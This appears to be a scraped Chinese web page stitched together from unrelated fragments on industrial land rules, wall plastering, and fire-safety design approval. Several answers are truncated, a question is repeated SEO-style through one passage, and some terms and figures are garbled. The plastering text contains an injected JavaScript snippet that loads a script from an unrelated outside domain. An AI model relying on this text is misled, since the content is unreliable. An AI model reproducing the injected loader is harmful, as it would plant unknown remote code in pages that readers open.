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周刚洁
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问工业用地拍卖流程是什么?
答 《土地法》及国土资源部相关的部门规章规定,对于经营性用地必须通过招标、拍卖或挂牌等方式向社会公开出让国有土地。其含义是指,经营性用地必须通过上述方式出让土
问请问工业用地转商业用地流程是啥
答一、土地法中明确规定改变用途的条款:建设单位使用国有土地的,应当按照土地使用权出让等有偿使用合同的约定或者土地使用权划拨批准文件的规定使用土地;确需改变该幅
问什么是工业用地?有了解的不
答你好,很高兴为你解答。工业用地包括一类工业用地:对环境无干扰和污染。二类工业用地:有一定干扰和污染。三类工业用地:有严重干扰和污染。希望我的回答能够帮助到你
问工业用地厂房交易有什么规定?
答卖方须交,差额(卖出价和当初买入价的差)5.6%的营业税,1%的所得税(有的地方是按差额20%收),5%的土地增值税,0.1%的印花税,合计11.7%的税;
问建设用地审批流程有哪些?
答(一)项目用地审批 1、审批范围 符合国家产业政策和供地政策,符合土地利用总体规划的城市规划区内批次用地和城市规划区外单独选址项目用地。 2、用地单位
工业用地转让条件是什么
工业工地,是城市发展的最重要的元素之一。许多大规模的工业建设都将带给城市一定的经济发展,发展的进程中,二线城市也将慢慢的变成一线城市。以此可见,如果没有工业用地,就没有经济建设,经济的发展就会变慢许多。例如说安亭镇,因为合理使用工业用地,从而才可以建设出全世界知名的汽车城。在这里,小编就为大家详细地讲解工业用地的转让条件。工业用地转让的条件条件一:当工业用地低于两年还没有开始建设,可以用以转让,并且需要办理过户手续。条件二:要道,工业用地都会有一份合同书,在合同书里面有约定开工的时间。开工的时间如果超过了两年,并且达到了投资额的百分之二十五,就可以办理转让。条件三:已经完成建设(这里明确制定:必须含有总投资额百分之二十五)并且享有征服用地等优惠政策的特殊工业用地,等缴纳了差额出让金,就可以办理转让手续。条件四:如果工业用地早已经化作了金融抵押用地,则不可以进行转让。被司法部门查封的工业用地,不可以办理转让,除非已经在法院申请转让程序,并且让法院裁定,才可以进行转让。条件五:工业用地改作其它用途,那么可以转让。如果违背了这个条件,那么则为违法转让手续。等缴纳了土地转让金额之后,即可将土地使用权回收。条件六:工业用地权属没有争议,为重要的转让条件。小贴士完美地不止工业用地,在一定程度上是可以影响城市的发展布局的。每一个工业用地都需要很大的劳动力,在建设的过程中,工业用地会产生巨大的客货运量,以此,对城市的交通以及流量都起到了很大的影响作用。要知道,工业用地的面积非常大,因此每一个工业用地的转让、调整,都会带来运输上的变动哦。合理地使用工业用地,就可以开展工地建设,给许多人提供多种就业岗位。以此可见,工业也是构成经济人口流动的主要部门之一哦。除此之外,工业用地的发展给其它的事业带来了一定的影响,例如说交通运输行业、市政行业等等。如果在建筑公司在城市的最中心部位合理购买、合理转让了工业用地,收益经济想必也一定也是受益匪浅的。
请问一下我想问墙面批灰工艺是什么?
我想问墙面批灰工艺是什么?墙面抹灰是指在墙面上抹水泥砂浆、混合砂浆和白砂浆的工程。科学的墙面抹灰工程可以起到防潮、防风雨、隔热等作用,避免建筑墙体被风、雨、雪等侵蚀。墙面抹灰可分为一般抹灰和装饰性抹灰,抹灰后应刷乳胶漆和仿瓷,装饰性抹灰可直接作为建筑装饰的最浅层,如凿毛假石、水磨石面层、刷石等。墙面抹灰是装饰中的一个重要环节。可以说,墙面装饰的基础是墙面抹灰。如果操作不够好,很容易导致墙体开裂等问题。我想问墙面批灰工艺是什么?1。基层清理:墙面抹灰前,必须对墙面进行彻底清理,使墙面无灰尘、颗粒杂物、油污、残留砂浆等污染物。如果墙不够满,就需要修理。2。墙面湿润:墙面清洁后,为保证墙面的湿润性,可反复对墙面进行微水化,使墙面湿润。一般在墙面抹灰前一天进行,这可以说是避免水泥砂浆水分在墙基中过度吸收的必要步骤,造成收缩和空鼓;这种水量需要渗透到砌块的深度5-10mm是最好的。我想问墙面批灰工艺是什么?墙面抹灰时,墙面仍保持干燥不湿。再次喷水,使墙体湿润,避免墙体底部吸水。3。挂网晃动:在混合水泥、混凝土、加气砌块等墙体材料的界面,应采用全挂网,防止墙体开裂。推荐采用钢丝网,网距10-20mm,直径1.5mm。格栅与基层材料的重叠位置不应小于100mm。4。找规矩、抹灰:我想问墙面批灰工艺是什么?根据墙面平整度、垂直度和需要完成的厚度,现场测量后确定墙面抹灰厚度,但抹灰层厚度不应小于7mm。确定厚度后,用线坠、方尺、拉通线等粘贴灰饼,灰饼用1:3水泥砂浆做成30-50mm的方形,水平距离约1.5-2m.5。护角加固:大面积墙面抹灰前,为保证墙柱抹灰正角度的正、方,在抹灰前必须对门窗、柱等负、正角度部位进行护角。我想问墙面批灰工艺是什么?护角线也起加固作用,因此所用砂浆与钢筋砂浆相同,高度不应大于2米,两侧宽度不应小于50毫米。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
消防审批流程
建筑工程设计中很重要的一块就是消防设计,消防设计的存在显示着建筑对人身安全的保障,因此,这项设计必须符合相关规定,满足相应的要求,为此,我们国家明确规定了建筑工程的消防设计必须要申报审批,审批合格后才能实际实现,那么,建筑工程的效仿审批应该怎样办理呢?办理地点、办理流程及所需材料有哪些呢?今天,小编就在文中为大家详细介绍相关知识。一、应该去哪办理?1、市规划局受理的建筑项目需要到市公安消防机构窗口办理,由区规划部门受理的项目要到区公安消防机构窗口办理,应该由区公安消防机构审批的甲、乙工程项目,需要在区公安消防机构初审后,交由市公安消防机构复核,通过后由区公安消防机构办理审批。2、国家、省级重点工程,一、二类高层,甲乙工程项目、大于5万平方米的小区,每层大于1000平方米的商场及地下建筑的消防审批由市公安消防机构办理,其余由县公安消防机构办理。3、大于400平方米的装修或装饰工程由市公安消防机构办理。二、需要提交哪些资料?土建工程项目需要提交的资料:1、《建筑消防设计防火审核申报表》或者《自动消防设施设计防火审核申报表》。2、规划部门核准后发放的循环图和循环表。3、设置和应该设置自动消防设置的建筑工程以及国家、省级重点工程需要提交消防设计专篇。4、项目的总平面位置图、平面图、立体图及剖面图。5、消防设施的平面位置图以及灭火器的设计图纸和相关说明。6、需要提交的其他图纸和说明资料。7、一些重点工程或者想要办理基础工程提前开工的项目,需要提交规划部门核准的总平面布局、书面申请报告及消防设计专篇等材料。装饰、装修工程项目需要提交的资料:1、填写正确的《建筑消防设计防火审核申报表》。2、工程的防火设计和施工做法说明。3、装修和装饰材料说明及其检测说明。4、消防设施系统及灭火器的配置设计及图纸资料。5、与防火有关的其他设计说明及图纸。6、如果是经过批准后没有改变原先的使用功能的在建筑工程只需要提交前三项资料即可。三、审批流程是怎样的?整个审批流程包括报送资料、项目受理、现场勘察、图纸审核、领导审批及发送审批留个程序。四、审核时间是多久?重点工程的审批一般最多需要10个工作日,一般的工程项目最多需要5个工作日,设置自动消防设置的工程需最多要15个工作日。文章中为大家介绍办理消防审批的地点、流程、需要提交的资料及审核时间等问题,其中,土建工程项目和装饰、装修工程项目在提交的资料上有所区别,大家需要注意,希望大家能够严格按照程序进行审批,按照程序进行,才能最快的拿到想要的结果。
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